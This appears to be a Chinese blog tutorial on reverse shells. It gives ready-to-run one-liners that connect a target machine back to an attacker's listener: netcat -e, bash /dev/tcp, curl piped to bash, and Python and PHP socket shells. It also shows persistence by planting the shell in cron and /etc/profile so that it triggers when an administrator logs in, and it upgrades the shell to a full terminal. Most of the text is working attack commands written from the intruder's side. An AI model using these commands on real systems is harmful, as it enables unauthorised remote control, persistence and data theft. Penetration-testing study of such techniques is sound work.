ikun运球新姿势-- 反弹shell

目录

反弹Shell

反弹shell的概述

正向连接

反向连接

为什么需要反弹shell

利用netcat反弹shell

利用Bash反弹shell

curl配合Bash反弹shell

将反弹shell的命令写入定时任务

将反弹shell的命令写入/etc/profile文件

python脚本反弹shell

php脚本反弹shell

反弹Shell后获取模拟终端


反弹Shell

反弹shell的概述

反弹shell是一种远程控制方式,可以让攻击者在目标主机上执行命令并获得对该主机的远程控制权。攻击者可以通过各种手段(如社工攻击、漏洞利用等)在目标主机上执行恶意脚本,从而获得反弹shell。攻击者可以通过该shell执行任意命令、控制目标主机、窃取数据等。因此,反弹shell是一种高危攻击手段。

反弹shell,就是攻击机监听在某个TCP/UDP端口为服务端,目标机主动发起请求到攻击机监听的端口,并将命令行的输入输出转到攻击机。

正向连接

假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标主机,这是正向连接。远程RPC,ssh,telnet,web服务都属于正向连接

反向连接

为什么需要反弹shell

因为正向连接无法利用,我们才用反向连接。以下场景适合反弹shell

  1. 目标主机因为防火墙受限,目标主机只能发送请求,而不能接受请求

  2. 目标主机的端口被占用

  3. 目标主机位于局域网中或者IP经常发生动态变化,攻击者无法直接连接

  4. 我们的病毒、木马,受害者什么时候中招,对方的网络环境未知,什么时间开关机等因素未知

反向连接就是攻击者指定服务器,受害者主机主动连接攻击者的服务端程序,即为反向连接。

利用netcat反弹shell

Netcat(nc)是一个网络工具,可以用来读写网络连接。它可以用来建立网络连接,监听端口,发生UDP数据包,扫描端口、执行端口转发等

Netcat可以在两台计算机之间建立一个简单的网路连接,然后在这两台计算机之间发送数据。它还可以监听指定端口,等到其他计算机连接。

这个工具经常在用在没有可视化工具或没有图形界面的系统上,可以用来读写网路连接,常见用于网络调试,开发还可以用于反弹shell,端口扫描等。

目前,默认的各个Linux发行版本已经自带了netcat工具包,但是可能由于考虑到原生版本的netcat带有可以直接发布与反弹本地shell的功能 -e阉割掉了,所以我们需要自己手动下载二进制安装包。

wget https://nchc.dl.sourceforge.net/project/netcat/netcat/0.7.1/netcat-0.7.1.tar.gz
tar -xvzf netcat-0.7.1.tar.gz
./configure
make && make install
make clean

安装完原生版本的netcat工具后,便有了netcat -e参数,我们就可以将本地bash反弹到攻击主机上了

攻击主机开启本地监听

kali㉿kali)-[~]
└─$ netcat -lvvp 666 
listening on [any] 666 ...

目标主机主动连接攻击主机

[root@192 ~]# nc 192.168.218.135 666 -e /bin/bash 
# nc <攻击主机的ip> <攻击主机监听的端口> -e /bin/bash

执行效果

利用Bash反弹shell

Bash结合重定向方法构成Bash反弹一句话

bash -i >& /dev/tcp/192.168.218.135/666 0>&1
或
bash -c "bash -i >& /dev/tcp/192.168.218.135/666 0>&1"
# bash -i >& /dev/tcp/攻击主机IP/攻击主机端口号 0>&1

命令解析

命令命令详解
bash -i产生一个bash交互环境
>&将联合符号前面的内容与后面相结合,然后一起重定向给后者
/dev/tcp/ip/portLinux下一切皆文件,意思就是让目标主机与攻击主机的某个端口建立一个TCP连接
0>&1将标准输入与标准输出内容相结合,然后重定向给前面标准输出的内容

这条一户话的过程就是:

Bash产生了一个交互环境和本地主机 主动发起了与攻击主机666端口的连接,然后再重定向个TCP 666会话连接,最后将用户键盘输入与用户的标准输出相结合再次重定向给一个标准输出,就可以得到了一个Bash反弹环境。

攻击主机开启本地监听:

(kali㉿kali)-[~]
└─$ netcat -lvvp 666
listening on [any] 666 ...

目标主机主动连接攻击主机:

[root@192 ~]# bash -i >& /dev/tcp/192.168.218.135/666 0>&1

执行效果

curl配合Bash反弹shell

首先,在攻击者vps的web目录里创建一个index文件(index.php或index.html),内容如下

bash -i >& /dev/tcp/ip/port 0>&1

并开启对应端口监听,然后在目标主机上

然后在目标主机上执行如下,即可反弹shell:

curl 192.168.218.135 | bash

注意:curl IP | bash 中的IP可以是任意格式的,可以是十进制、十六进制、八进制、二进制等等。

执行效果

将反弹shell的命令写入定时任务

我们可以在目标主机的定时任务文件中写入一个反弹shell脚本,但是我们必须知道用户名是什么。因为我们的反弹shell命令是要写在/var/spool/cron/[crontabs]/<username>内的,所以必须要知道远程主机当前的用户名,否则不生效。

比如,当前用户为root时,我们就要将下面内容写到/var/spool/cron/root中。(CentOS系列)

比如,当前用户为root时,我们就要将下面内容写到/var/spool/cron/crontabs/root中。(Debian/Ubuntu系列)

*/1 * * * * /bin/bash -i>&/dev/tcp/ip/port 0>&1
# 每搁一分钟,向指定IP的指定端口发送shell

将反弹shell的命令写入/etc/profile文件

将以下反弹shell的命写入/etc/profile文件中,/etc/profile中的内容会在用户打开bash窗口时执行。

/bin/bash -i >& /dev/tcp/ip/port 0>&1 &
# 最后面那个&为的是防止管理员无法输入命令

当目标主机管理员远程连接该主机时,就会执行该命令,成功获得目标机的shell。

执行效果

python脚本反弹shell

当目标主机上有python环境时,我们可以用python来反弹shell。python在现在一般发行版Linux系统中都会自带,所以用起来比较方便,即使没有安装我们也可以手动安装。

攻击主机监听

nc -lvvp 666

目标主机主动连接主机

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ip",port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

执行效果

php脚本反弹shell

当目标主机上有php环境时,我们可以用php来反弹shell

攻击主机开启本地监听

nc -lvvp 666

目标主机主动连接攻击主机

php -r '$sock=fsockopen("ip",port);exec("/bin/sh -i <&3 >&3 2>&3");'

反弹Shell后获取模拟终端

以上各种姿势获取到的shell都不是一个标准的虚拟终端环境,它仅仅是一个标准输入。你会发现存在一个问题,就是即使我们获取了目标虚拟终端控制权限,但是交互性较差,回显信息与可交互性非常的差和不稳定,具体情况有以下几种

  1. 虚拟终端没有交互性,我们想要给添加的账号设置密码或执行sudo等命令。无法完成

  2. 标准的错误输出无法显示,无法正常的使用vim等文本编辑器

  3. 获取的目标主机的虚拟终端不稳定,易断开连接

这都是因为我们获取的shell并不是标准的虚拟终端,为了能够完成输入密码等操作,我们必须模拟一个真正的终端设备

我们可以借助python默认包含的一个pty标准库来获取一个标准的虚拟终端环境。

我们只需在获取的shell里面输入如下命令,即可模拟一个终端设备:

python -c "import pty;pty.spawn('/bin/bash')"

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值